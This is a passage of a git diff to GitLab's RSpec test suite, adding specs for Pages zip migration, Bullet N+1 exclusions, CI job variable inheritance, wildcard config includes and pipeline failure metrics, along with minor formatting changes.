subject(:validate) { described_class.new(user).validate(otp_code) }
diff --git a/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb b/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb
index 88a245b6b10..dc20df98185 100644
--- a/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb
+++ b/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Auth::Otp::Strategies::FortiAuthenticator do
let_it_be(:user) { create(:user) }
+
let(:otp_code) { 42 }
let(:host) { 'forti_authenticator.example.com' }
diff --git a/spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb b/spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb
index 368cf98dfec..57ee53a452e 100644
--- a/spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb
+++ b/spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Auth::Otp::Strategies::FortiTokenCloud do
let_it_be(:user) { create(:user) }
+
let(:otp_code) { 42 }
let(:url) { 'https://ftc.example.com:9696/api/v1' }
diff --git a/spec/lib/gitlab/auth_spec.rb b/spec/lib/gitlab/auth_spec.rb
index 4e4bbd1bb60..7a578ad3c90 100644
--- a/spec/lib/gitlab/auth_spec.rb
+++ b/spec/lib/gitlab/auth_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Auth, :use_clean_rails_memory_store_caching do
let_it_be(:project) { create(:project) }
+
let(:gl_auth) { described_class }
describe 'constants' do
@@ -543,6 +544,7 @@ RSpec.describe Gitlab::Auth, :use_clean_rails_memory_store_caching do
context 'and belong to different projects' do
let_it_be(:other_project) { create(:project) }
+
let!(:read_registry) { create(:deploy_token, username: 'deployer', read_repository: false, projects: [project]) }
let!(:read_repository) { create(:deploy_token, username: read_registry.username, read_registry: false, projects: [other_project]) }
let(:auth_success) { Gitlab::Auth::Result.new(read_repository, other_project, :deploy_token, [:download_code]) }
diff --git a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
index 50e799908c6..dbf74bd9333 100644
--- a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migration, schema: 2020_04_20_094444 do
+RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migration, schema: 2021_03_13_045845 do
let(:gitlab_shell) { Gitlab::Shell.new }
let(:users) { table(:users) }
let(:snippets) { table(:snippets) }
diff --git a/spec/lib/gitlab/background_migration/copy_column_using_background_migration_job_spec.rb b/spec/lib/gitlab/background_migration/copy_column_using_background_migration_job_spec.rb
index 7ad93c3124a..c4c0247ad3e 100644
--- a/spec/lib/gitlab/background_migration/copy_column_using_background_migration_job_spec.rb
+++ b/spec/lib/gitlab/background_migration/copy_column_using_background_migration_job_spec.rb
@@ -64,5 +64,13 @@ RSpec.describe Gitlab::BackgroundMigration::CopyColumnUsingBackgroundMigrationJo
expect(test_table.where('name is NULL and name_convert_to_text is NULL').pluck(:id)).to contain_exactly(15)
expect(test_table.where("name_convert_to_text = 'no name'").count).to eq(0)
end
+
+ it 'tracks timings of queries' do
+ expect(subject.batch_metrics.timings).to be_empty
+
+ subject.perform(10, 20, table_name, 'id', sub_batch_size, 'name', 'name_convert_to_text')
+
+ expect(subject.batch_metrics.timings[:update_all]).not_to be_empty
+ end
end
end
diff --git a/spec/lib/gitlab/background_migration/migrate_pages_to_zip_storage_spec.rb b/spec/lib/gitlab/background_migration/migrate_pages_to_zip_storage_spec.rb
new file mode 100644
index 00000000000..557dd8ddee6
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/migrate_pages_to_zip_storage_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::MigratePagesToZipStorage do
+ let(:namespace) { create(:group) } # rubocop: disable RSpec/FactoriesInMigrationSpecs
+ let(:migration) { described_class.new }
+
+ describe '#perform' do
+ context 'when there is project to migrate' do
+ let!(:project) { create_project('project') }
+
+ after do
+ FileUtils.rm_rf(project.pages_path)
+ end
+
+ it 'migrates project to zip storage' do
+ expect_next_instance_of(::Pages::MigrateFromLegacyStorageService,
+ anything,
+ ignore_invalid_entries: false,
+ mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute_for_batch).with(project.id..project.id).and_call_original
+ end
+
+ migration.perform(project.id, project.id)
+
+ expect(project.reload.pages_metadatum.pages_deployment.file.filename).to eq("_migrated.zip")
+ end
+ end
+ end
+
+ def create_project(path)
+ project = create(:project) # rubocop: disable RSpec/FactoriesInMigrationSpecs
+ project.mark_pages_as_deployed
+
+ FileUtils.mkdir_p File.join(project.pages_path, "public")
+ File.open(File.join(project.pages_path, "public/index.html"), "w") do |f|
+ f.write("Hello!")
+ end
+
+ project
+ end
+end
diff --git a/spec/lib/gitlab/bullet/exclusions_spec.rb b/spec/lib/gitlab/bullet/exclusions_spec.rb
new file mode 100644
index 00000000000..ba42156b0c4
--- /dev/null
+++ b/spec/lib/gitlab/bullet/exclusions_spec.rb
@@ -0,0 +1,155 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Gitlab::Bullet::Exclusions do
+ let(:config_file) do
+ file = Tempfile.new('bullet.yml')
+ File.basename(file)
+ end
+
+ let(:exclude) { [] }
+ let(:config) do
+ {
+ exclusions: {
+ abc: {
+ merge_request: '_mr_',
+ path_with_method: true,
+ exclude: exclude
+ }
+ }
+ }
+ end
+
+ before do
+ File.write(config_file, config.deep_stringify_keys.to_yaml)
+ end
+
+ after do
+ FileUtils.rm_f(config_file)
+ end
+
+ describe '#execute' do
+ subject(:executor) { described_class.new(config_file).execute }
+
+ shared_examples_for 'loads exclusion results' do
+ let(:config) { { exclusions: { abc: { exclude: exclude } } } }
+ let(:results) { [exclude] }
+
+ specify do
+ expect(executor).to match(results)
+ end
+ end
+
+ context 'with preferred method of path and method name' do
+ it_behaves_like 'loads exclusion results' do
+ let(:exclude) { %w[_path_ _method_] }
+ end
+ end
+
+ context 'with file pattern' do
+ it_behaves_like 'loads exclusion results' do
+ let(:exclude) { ['_file_pattern_'] }
+ end
+ end
+
+ context 'with file name and line range' do
+ it_behaves_like 'loads exclusion results' do
+ let(:exclude) { ['file_name.rb', 5..10] }
+ end
+ end
+
+ context 'without exclusions' do
+ it_behaves_like 'loads exclusion results' do
+ let(:exclude) { [] }
+ end
+ end
+
+ context 'without exclusions key in config' do
+ it_behaves_like 'loads exclusion results' do
+ let(:config) { {} }
+ let(:results) { [] }
+ end
+ end
+
+ context 'when config file does not exist' do
+ it 'provides an empty array for exclusions' do
+ expect(described_class.new('_some_bogus_file_').execute).to match([])
+ end
+ end
+ end
+
+ describe '#validate_paths!' do
+ context 'when validating scenarios' do
+ let(:source_file) do
+ file = Tempfile.new('bullet_test_source_file.rb')
+ File.basename(file)
+ end
+
+ subject { described_class.new(config_file).validate_paths! }
+
+ before do
+ FileUtils.touch(source_file)
+ end
+
+ after do
+ FileUtils.rm_f(source_file)
+ end
+
+ context 'when using paths with method name' do
+ let(:exclude) { [source_file, '_method_'] }
+
+ context 'when source file for exclusion exists' do
+ specify do
+ expect { subject }.not_to raise_error
+ end
+ end
+
+ context 'when source file for exclusion does not exist' do
+ let(:exclude) { %w[_bogus_file_ _method_] }
+
+ specify do
+ expect { subject }.to raise_error(RuntimeError)
+ end
+ end
+ end
+
+ context 'when using path only' do
+ let(:exclude) { [source_file] }
+
+ context 'when source file for exclusion exists' do
+ specify do
+ expect { subject }.not_to raise_error
+ end
+ end
+
+ context 'when source file for exclusion does not exist' do
+ let(:exclude) { '_bogus_file_' }
+
+ specify do
+ expect { subject }.to raise_error(RuntimeError)
+ end
+ end
+ end
+
+ context 'when path_with_method is false for a file pattern' do
+ let(:exclude) { ['_file_pattern_'] }
+ let(:config) do
+ {
+ exclusions: {
+ abc: {
+ merge_request: '_mr_',
+ path_with_method: false,
+ exclude: exclude
+ }
+ }
+ }
+ end
+
+ specify do
+ expect { subject }.not_to raise_error
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/bullet_spec.rb b/spec/lib/gitlab/bullet_spec.rb
new file mode 100644
index 00000000000..1262a0b8bde
--- /dev/null
+++ b/spec/lib/gitlab/bullet_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Bullet do
+ describe '#enabled?' do
+ it 'is enabled' do
+ stub_env('ENABLE_BULLET', true)
+
+ expect(described_class.enabled?).to be(true)
+ end
+
+ it 'is not enabled' do
+ stub_env('ENABLE_BULLET', nil)
+
+ expect(described_class.enabled?).to be(false)
+ end
+
+ it 'is correctly aliased for #extra_logging_enabled?' do
+ expect(described_class.method(:extra_logging_enabled?).original_name).to eq(:enabled?)
+ end
+ end
+
+ describe '#configure_bullet?' do
+ context 'with ENABLE_BULLET true' do
+ before do
+ stub_env('ENABLE_BULLET', true)
+ end
+
+ it 'is configurable' do
+ expect(described_class.configure_bullet?).to be(true)
+ end
+ end
+
+ context 'with ENABLE_BULLET falsey' do
+ before do
+ stub_env('ENABLE_BULLET', nil)
+ end
+
+ it 'is not configurable' do
+ expect(described_class.configure_bullet?).to be(false)
+ end
+
+ it 'is configurable in development' do
+ allow(Rails).to receive_message_chain(:env, :development?).and_return(true)
+
+ expect(described_class.configure_bullet?).to be(true)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/changelog/config_spec.rb b/spec/lib/gitlab/changelog/config_spec.rb
index 51988acf3d1..2809843b832 100644
--- a/spec/lib/gitlab/changelog/config_spec.rb
+++ b/spec/lib/gitlab/changelog/config_spec.rb
@@ -37,7 +37,8 @@ RSpec.describe Gitlab::Changelog::Config do
project,
'date_format' => 'foo',
'template' => 'bar',
- 'categories' => { 'foo' => 'bar' }
+ 'categories' => { 'foo' => 'bar' },
+ 'tag_regex' => 'foo'
)
expect(config.date_format).to eq('foo')
@@ -45,6 +46,7 @@ RSpec.describe Gitlab::Changelog::Config do
.to be_instance_of(Gitlab::Changelog::AST::Expressions)
expect(config.categories).to eq({ 'foo' => 'bar' })
+ expect(config.tag_regex).to eq('foo')
end
it 'raises Error when the categories are not a Hash' do
diff --git a/spec/lib/gitlab/checks/project_created_spec.rb b/spec/lib/gitlab/checks/project_created_spec.rb
index f099f19b061..74e43b04b6b 100644
--- a/spec/lib/gitlab/checks/project_created_spec.rb
+++ b/spec/lib/gitlab/checks/project_created_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Checks::ProjectCreated, :clean_gitlab_redis_shared_state do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :repository, namespace: user.namespace) }
+
let(:protocol) { 'http' }
let(:git_user) { user }
let(:repository) { project.repository }
diff --git a/spec/lib/gitlab/checks/project_moved_spec.rb b/spec/lib/gitlab/checks/project_moved_spec.rb
index c7dad0a91d4..469aea8d093 100644
--- a/spec/lib/gitlab/checks/project_moved_spec.rb
+++ b/spec/lib/gitlab/checks/project_moved_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Checks::ProjectMoved, :clean_gitlab_redis_shared_state do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :repository, :wiki_repo, namespace: user.namespace) }
+
let(:repository) { project.repository }
let(:protocol) { 'http' }
let(:git_user) { user }
@@ -101,6 +102,7 @@ RSpec.describe Gitlab::Checks::ProjectMoved, :clean_gitlab_redis_shared_state do
context 'with project snippet' do
let_it_be(:snippet) { create(:project_snippet, :repository, project: project, author: user) }
+
let(:repository) { snippet.repository }
it_behaves_like 'errors per protocol' do
@@ -111,6 +113,7 @@ RSpec.describe Gitlab::Checks::ProjectMoved, :clean_gitlab_redis_shared_state do
context 'with personal snippet' do
let_it_be(:snippet) { create(:personal_snippet, :repository, author: user) }
+
let(:repository) { snippet.repository }
it 'returns nil' do
diff --git a/spec/lib/gitlab/ci/config/entry/bridge_spec.rb b/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
index 179578fe0a8..d294eca7f15 100644
--- a/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
@@ -107,6 +107,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Bridge do
stage: 'test',
only: { refs: %w[branches tags] },
variables: {},
+ job_variables: {},
+ root_variables_inheritance: true,
scheduling_type: :stage)
end
end
@@ -130,6 +132,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Bridge do
stage: 'test',
only: { refs: %w[branches tags] },
variables: {},
+ job_variables: {},
+ root_variables_inheritance: true,
scheduling_type: :stage)
end
end
@@ -284,6 +288,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Bridge do
parallel: { matrix: [{ 'PROVIDER' => ['aws'], 'STACK' => %w(monitoring app1) },
{ 'PROVIDER' => ['gcp'], 'STACK' => %w(data) }] },
variables: {},
+ job_variables: {},
+ root_variables_inheritance: true,
scheduling_type: :stage
)
end
diff --git a/spec/lib/gitlab/ci/config/entry/cache_spec.rb b/spec/lib/gitlab/ci/config/entry/cache_spec.rb
index 064990667d5..cec1c97085b 100644
--- a/spec/lib/gitlab/ci/config/entry/cache_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/cache_spec.rb
@@ -13,6 +13,14 @@ RSpec.describe Gitlab::Ci::Config::Entry::Cache do
end
describe '#valid?' do
+ context 'with an empty hash as cache' do
+ let(:config) { {} }
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+
context 'when configuration is valid with a single cache' do
let(:config) { { key: 'key', paths: ["logs/"], untracked: true } }
diff --git a/spec/lib/gitlab/ci/config/entry/job_spec.rb b/spec/lib/gitlab/ci/config/entry/job_spec.rb
index a4167003987..ffcd029172a 100644
--- a/spec/lib/gitlab/ci/config/entry/job_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/job_spec.rb
@@ -663,6 +663,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
after_script: %w[cleanup],
only: { refs: %w[branches tags] },
variables: {},
+ job_variables: {},
+ root_variables_inheritance: true,
scheduling_type: :stage)
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/jobs_spec.rb b/spec/lib/gitlab/ci/config/entry/jobs_spec.rb
index ac6b589ec6b..cb73044b62b 100644
--- a/spec/lib/gitlab/ci/config/entry/jobs_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/jobs_spec.rb
@@ -100,6 +100,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Jobs do
stage: 'test',
trigger: { project: 'my/project' },
variables: {},
+ job_variables: {},
+ root_variables_inheritance: true,
scheduling_type: :stage
},
regular_job: {
@@ -109,6 +111,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Jobs do
script: ['something'],
stage: 'test',
variables: {},
+ job_variables: {},
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
diff --git a/spec/lib/gitlab/ci/config/entry/processable_spec.rb b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
index 04e80450263..016d59e98b9 100644
--- a/spec/lib/gitlab/ci/config/entry/processable_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
@@ -382,7 +382,9 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
context 'with only job variables' do
it 'does return defined variables' do
expect(entry.value).to include(
- variables: { 'A' => 'job', 'B' => 'job' }
+ variables: { 'A' => 'job', 'B' => 'job' },
+ job_variables: { 'A' => 'job', 'B' => 'job' },
+ root_variables_inheritance: true
)
end
end
@@ -394,9 +396,11 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
).value
end
- it 'does return all variables and overwrite them' do
+ it 'does return job and root variables' do
expect(entry.value).to include(
- variables: { 'A' => 'job', 'B' => 'job', 'C' => 'root', 'D' => 'root' }
+ variables: { 'A' => 'job', 'B' => 'job', 'C' => 'root', 'D' => 'root' },
+ job_variables: { 'A' => 'job', 'B' => 'job' },
+ root_variables_inheritance: true
)
end
@@ -408,9 +412,11 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
}
end
- it 'does return only job variables' do
+ it 'does return job and root variables' do
expect(entry.value).to include(
- variables: { 'A' => 'job', 'B' => 'job' }
+ variables: { 'A' => 'job', 'B' => 'job' },
+ job_variables: { 'A' => 'job', 'B' => 'job' },
+ root_variables_inheritance: false
)
end
end
@@ -423,9 +429,11 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
}
end
- it 'does return only job variables' do
+ it 'does return job and root variables' do
expect(entry.value).to include(
- variables: { 'A' => 'job', 'B' => 'job', 'D' => 'root' }
+ variables: { 'A' => 'job', 'B' => 'job', 'D' => 'root' },
+ job_variables: { 'A' => 'job', 'B' => 'job' },
+ root_variables_inheritance: ['D']
)
end
end
@@ -493,7 +501,9 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
name: :rspec,
stage: 'test',
only: { refs: %w[branches tags] },
- variables: {}
+ variables: {},
+ job_variables: {},
+ root_variables_inheritance: true
)
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/root_spec.rb b/spec/lib/gitlab/ci/config/entry/root_spec.rb
index 7b38c21788f..041eb748fc9 100644
--- a/spec/lib/gitlab/ci/config/entry/root_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/root_spec.rb
@@ -133,6 +133,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
variables: { 'VAR' => 'root', 'VAR2' => 'val 2' },
+ job_variables: {},
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -147,6 +149,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
variables: { 'VAR' => 'root', 'VAR2' => 'val 2' },
+ job_variables: {},
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -163,6 +167,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
cache: [{ key: "k", untracked: true, paths: ["public/"], policy: "pull-push", when: 'on_success' }],
only: { refs: %w(branches tags) },
variables: { 'VAR' => 'job', 'VAR2' => 'val 2' },
+ job_variables: { 'VAR' => 'job' },
+ root_variables_inheritance: true,
after_script: [],
ignore: false,
scheduling_type: :stage }
@@ -188,6 +194,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: { key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' },
variables: { 'VAR' => 'root', 'VAR2' => 'val 2' },
+ job_variables: {},
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -202,6 +210,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: { key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' },
variables: { 'VAR' => 'root', 'VAR2' => 'val 2' },
+ job_variables: {},
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -218,6 +228,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
cache: { key: "k", untracked: true, paths: ["public/"], policy: "pull-push", when: 'on_success' },
only: { refs: %w(branches tags) },
variables: { 'VAR' => 'job', 'VAR2' => 'val 2' },
+ job_variables: { 'VAR' => 'job' },
+ root_variables_inheritance: true,
after_script: [],
ignore: false,
scheduling_type: :stage }
@@ -267,6 +279,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: { key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' },
variables: { 'VAR' => 'root' },
+ job_variables: {},
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -279,6 +293,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: { key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' },
variables: { 'VAR' => 'job' },
+ job_variables: { 'VAR' => 'job' },
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -311,6 +327,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
variables: { 'VAR' => 'root' },
+ job_variables: {},
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -323,6 +341,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
stage: 'test',
cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
variables: { 'VAR' => 'job' },
+ job_variables: { 'VAR' => 'job' },
+ root_variables_inheritance: true,
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
diff --git a/spec/lib/gitlab/ci/config/external/mapper_spec.rb b/spec/lib/gitlab/ci/config/external/mapper_spec.rb
index 99f546ceb37..e5b008a482e 100644
--- a/spec/lib/gitlab/ci/config/external/mapper_spec.rb
+++ b/spec/lib/gitlab/ci/config/external/mapper_spec.rb
@@ -324,5 +324,39 @@ RSpec.describe Gitlab::Ci::Config::External::Mapper do
end
end
end
+
+ context 'when local file path has wildcard' do
+ let(:project) { create(:project, :repository) }
+
+ let(:values) do
+ { include: 'myfolder/*.yml' }
+ end
+
+ before do
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository).to receive(:search_files_by_wildcard_path).with('myfolder/*.yml', '123456') do
+ ['myfolder/file1.yml', 'myfolder/file2.yml']
+ end
+ end
+ end
+
+ it 'includes the matched local files' do
+ expect(subject).to contain_exactly(an_instance_of(Gitlab::Ci::Config::External::File::Local),
+ an_instance_of(Gitlab::Ci::Config::External::File::Local))
+
+ expect(subject.map(&:location)).to contain_exactly('myfolder/file1.yml', 'myfolder/file2.yml')
+ end
+
+ context 'when the FF ci_wildcard_file_paths is disabled' do
+ before do
+ stub_feature_flags(ci_wildcard_file_paths: false)
+ end
+
+ it 'cannot find any file returns an error message' do
+ expect(subject).to contain_exactly(an_instance_of(Gitlab::Ci::Config::External::File::Local))
+ expect(subject[0].errors).to eq(['Local file `myfolder/*.yml` does not exist!'])
+ end
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/ci/config/external/processor_spec.rb b/spec/lib/gitlab/ci/config/external/processor_spec.rb
index d2d7116bb12..d657c3e943f 100644
--- a/spec/lib/gitlab/ci/config/external/processor_spec.rb
+++ b/spec/lib/gitlab/ci/config/external/processor_spec.rb
@@ -366,5 +366,40 @@ RSpec.describe Gitlab::Ci::Config::External::Processor do
expect(output.keys).to match_array([:image, :my_build, :my_test])
end
end
+
+ context 'when local file path has wildcard' do
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:values) do
+ { include: 'myfolder/*.yml', image: 'ruby:2.7' }
+ end
+
+ before do
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository).to receive(:search_files_by_wildcard_path).with('myfolder/*.yml', sha) do
+ ['myfolder/file1.yml', 'myfolder/file2.yml']
+ end
+
+ allow(repository).to receive(:blob_data_at).with(sha, 'myfolder/file1.yml') do
+ <<~HEREDOC
+ my_build:
+ script: echo Hello World
+ HEREDOC
+ end
+
+ allow(repository).to receive(:blob_data_at).with(sha, 'myfolder/file2.yml') do
+ <<~HEREDOC
+ my_test:
+ script: echo Hello World
+ HEREDOC
+ end
+ end
+ end
+
+ it 'fetches the matched files' do
+ output = processor.perform
+ expect(output.keys).to match_array([:image, :my_build, :my_test])
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb b/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb
index fbf86927bd9..e5f0341c5fe 100644
--- a/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb
+++ b/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb
@@ -1,8 +1,12 @@
# frozen_string_literal: true
require 'fast_spec_helper'
+require 'support/helpers/stubbed_feature'
+require 'support/helpers/stub_feature_flags'
RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
+ include StubFeatureFlags
+
describe '.applies_to?' do
subject { described_class.applies_to?(config) }
@@ -49,6 +53,10 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
variables: {
'PROVIDER' => 'aws',
'STACK' => 'app1'
+ },
+ job_variables: {
+ 'PROVIDER' => 'aws',
+ 'STACK' => 'app1'
}
},
{
@@ -58,6 +66,10 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
variables: {
'PROVIDER' => 'aws',
'STACK' => 'app2'
+ },
+ job_variables: {
+ 'PROVIDER' => 'aws',
+ 'STACK' => 'app2'
}
},
{
@@ -67,6 +79,10 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
variables: {
'PROVIDER' => 'ovh',
'STACK' => 'app'
+ },
+ job_variables: {
+ 'PROVIDER' => 'ovh',
+ 'STACK' => 'app'
}
},
{
@@ -76,6 +92,10 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
variables: {
'PROVIDER' => 'gcp',
'STACK' => 'app'
+ },
+ job_variables: {
+ 'PROVIDER' => 'gcp',
+ 'STACK' => 'app'
}
}
]
diff --git a/spec/lib/gitlab/ci/lint_spec.rb b/spec/lib/gitlab/ci/lint_spec.rb
index 67324c09d86..aaa3a7a8b9d 100644
--- a/spec/lib/gitlab/ci/lint_spec.rb
+++ b/spec/lib/gitlab/ci/lint_spec.rb
@@ -92,7 +92,7 @@ RSpec.describe Gitlab::Ci::Lint do
it 'sets merged_config' do
root_config = YAML.safe_load(content, [Symbol])
included_config = YAML.safe_load(included_content, [Symbol])
- expected_config = included_config.merge(root_config).except(:include)
+ expected_config = included_config.merge(root_config).except(:include).deep_stringify_keys
expect(subject.merged_yaml).to eq(expected_config.to_yaml)
end
diff --git a/spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb b/spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb
index c6b8cf2a985..6a08e8f0b7f 100644
--- a/spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb
+++ b/spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb
@@ -131,7 +131,6 @@ RSpec.describe Gitlab::Ci::Parsers::Codequality::CodeClimate do
expect { parse }.not_to raise_error
expect(codequality_report.degradations_count).to eq(0)
- expect(codequality_report.error_message).to eq("Invalid degradation format: The property '#/' did not contain a required property of 'location'")
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/command_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/command_spec.rb
index 9ca5aeeea58..900dfec38e2 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/command_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/command_spec.rb
@@ -321,4 +321,25 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Command do
it { is_expected.to be_falsey }
end
end
+
+ describe '#increment_pipeline_failure_reason_counter' do
+ let(:command) { described_class.new }
+ let(:reason) { :size_limit_exceeded }
+
+ subject { command.increment_pipeline_failure_reason_counter(reason) }
+
+ it 'increments the error metric' do
+ counter = Gitlab::Metrics.counter(:gitlab_ci_pipeline_failure_reasons, 'desc')
+ expect { subject }.to change { counter.get(reason: reason.to_s) }.by(1)
+ end
+
+ context 'when the reason is nil' do
+ let(:reason) { nil }
+
+ it 'increments the error metric with unknown_failure' do
+ counter = Gitlab::Metrics.counter(:gitlab_ci_pipeline_failure_reasons, 'desc')
+ expect { subject }.to change { counter.get(reason: 'unknown_failure') }.by(1)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules_spec.rb
index 4ae51ac8bf9..e30a78546af 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules_spec.rb
@@ -16,8 +16,10 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::EvaluateWorkflowRules do
describe '#perform!' do
context 'when pipeline has been skipped by workflow configuration' do
before do
- allow(step).to receive(:workflow_passed?)
- .and_return(false)
+ allow(step).to receive(:workflow_rules_result)
+ .and_return(
+ double(pass?: false, variables: {})
+ )
step.perform!
end
@@ -33,12 +35,18 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::EvaluateWorkflowRules do
it 'attaches an error to the pipeline' do
expect(pipeline.errors[:base]).to include('Pipeline filtered out by workflow rules.')
end
+
+ it 'saves workflow_rules_result' do
+ expect(command.workflow_rules_result.variables).to eq({})
+ end
end
context 'when pipeline has not been skipped by workflow configuration' do
before do
- allow(step).to receive(:workflow_passed?)
- .and_return(true)
+ allow(step).to receive(:workflow_rules_result)
+ .and_return(
+ double(pass?: true, variables: { 'VAR1' => 'val2' })
+ )
step.perform!
end
